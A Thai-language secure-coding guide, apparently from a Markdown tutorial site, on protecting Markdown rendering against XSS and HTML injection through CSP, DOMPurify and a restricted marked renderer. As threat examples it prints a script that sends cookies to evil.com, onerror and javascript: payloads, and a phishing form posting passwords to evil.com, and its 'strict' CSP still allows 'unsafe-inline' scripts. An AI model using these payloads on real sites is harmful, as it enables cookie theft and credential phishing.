Skip to content

แนวทางปฏิบัติที่ดีที่สุดด้านความปลอดภัยของ Markdown

แม้ว่า Markdown จะดูเหมือนเป็นเพียงข้อความธรรมดา แต่การจัดการที่ไม่เหมาะสมอาจนำไปสู่ช่องโหว่ด้านความปลอดภัยที่ร้ายแรง คู่มือนี้จะแสดงวิธีการจัดการเนื้อหา Markdown อย่างปลอดภัย

ภัยคุกคามด้านความปลอดภัยทั่วไป

1. XSS (Cross-Site Scripting)

Markdown อนุญาตให้ฝัง HTML ซึ่งอาจถูกใช้ประโยชน์เพื่อฉีดสคริปต์ที่เป็นอันตราย:

markdown
<!-- อันตราย: HTML ที่ไม่ได้ทำความสะอาด -->
<script>
  // ขโมยคุกกี้
  fetch('https://evil.com/steal?data=' + document.cookie);
</script>

<img src="x" onerror="alert('XSS')">

<a href="javascript:alert('XSS')">คลิกที่นี่</a>

2. การฉีด HTML

แม้จะไม่มี JavaScript HTML ที่เป็นอันตรายก็สามารถสร้างความเสียหายได้:

markdown
<!-- การโจมตีฟิชชิง -->
<form action="https://evil.com/phish" method="POST">
  <input type="password" name="password" placeholder="ใส่รหัสผ่าน">
  <button>เข้าสู่ระบบ</button>
</form>

กลยุทธ์การป้องกัน

1. นโยบายความปลอดภัยเนื้อหา (CSP)

ใช้ CSP headers ที่เข้มงวด:

html
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' 'unsafe-inline' https://trusted-cdn.com; 
               style-src 'self' 'unsafe-inline'; 
               img-src 'self' data: https:;">

2. การทำความสะอาด HTML

ใช้ไลบรารีทำความสะอาดเฉพาะทาง:

DOMPurify (เบราว์เซอร์)

javascript
import DOMPurify from 'dompurify';
import marked from 'marked';

const dirty = marked.parse(userMarkdown);
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
  ALLOWED_ATTR: ['href', 'title', 'class'],
  FORBID_TAGS: ['script', 'style', 'iframe', 'form'],
  FORBID_ATTR: ['onerror', 'onclick', 'onload']
});

document.getElementById('output').innerHTML = clean;

3. การกำหนดค่าตัวแยกวิเคราะห์ Markdown ที่ปลอดภัย

การกำหนดค่า Marked ที่ปลอดภัย

javascript
const marked = require('marked');

const renderer = {
  html(html) {
    // บล็อก HTML ทั้งหมด
    return '';
  },
  link(href, title, text) {
    // อนุญาตเฉพาะโปรโตคอลที่ปลอดภัย
    const safeProtocols = ['http:', 'https:', 'mailto:'];
    try {
      const url = new URL(href);
      if (!safeProtocols.includes(url.protocol)) {
        return text;
      }
    } catch {
      return text;
    }
    
    return `<a href="${href}" title="${title || ''}" rel="noopener noreferrer" target="_blank">${text}</a>`;
  }
};

marked.use({ renderer });

รายการตรวจสอบความปลอดภัย

ก่อนการปรับใช้

  • [ ] เปิดใช้งานนโยบายความปลอดภัยเนื้อหา (CSP)
  • [ ] ใช้การทำความสะอาด HTML (DOMPurify/sanitize-html)
  • [ ] ปิดหรือจำกัด HTML ดิบ
  • [ ] ตรวจสอบ URL และลิงก์ทั้งหมด
  • [ ] ใช้การจำกัดอัตรา
  • [ ] เพิ่มการป้องกัน CSRF
  • [ ] ตรวจสอบการอัปโหลดไฟล์
  • [ ] ใช้การตรวจสอบสิทธิ์และการอนุญาต
  • [ ] กำหนดขีดจำกัดความยาวเนื้อหา
  • [ ] เปิดใช้งาน HTTPS
  • [ ] กำหนดค่า HTTP headers ที่ปลอดภัย
  • [ ] ใช้การบันทึกและการตรวจสอบ
  • [ ] ทำการตรวจสอบความปลอดภัยเป็นประจำ
  • [ ] อัปเดตการพึ่งพาให้ทันสมัย

สรุป

ความปลอดภัยของ Markdown ไม่ควรถูกละเลย โดยการใช้การทำความสะอาด การตรวจสอบ การตรวจสอบสิทธิ์ และการตรวจสอบที่เหมาะสม คุณสามารถจัดการเนื้อหา Markdown ที่สร้างโดยผู้ใช้อย่างปลอดภัยและปกป้องแอปพลิเคชันและผู้ใช้ของคุณจากการโจมตี

แหล่งข้อมูลเพิ่มเติม

สร้างโดย www.markdownlang.com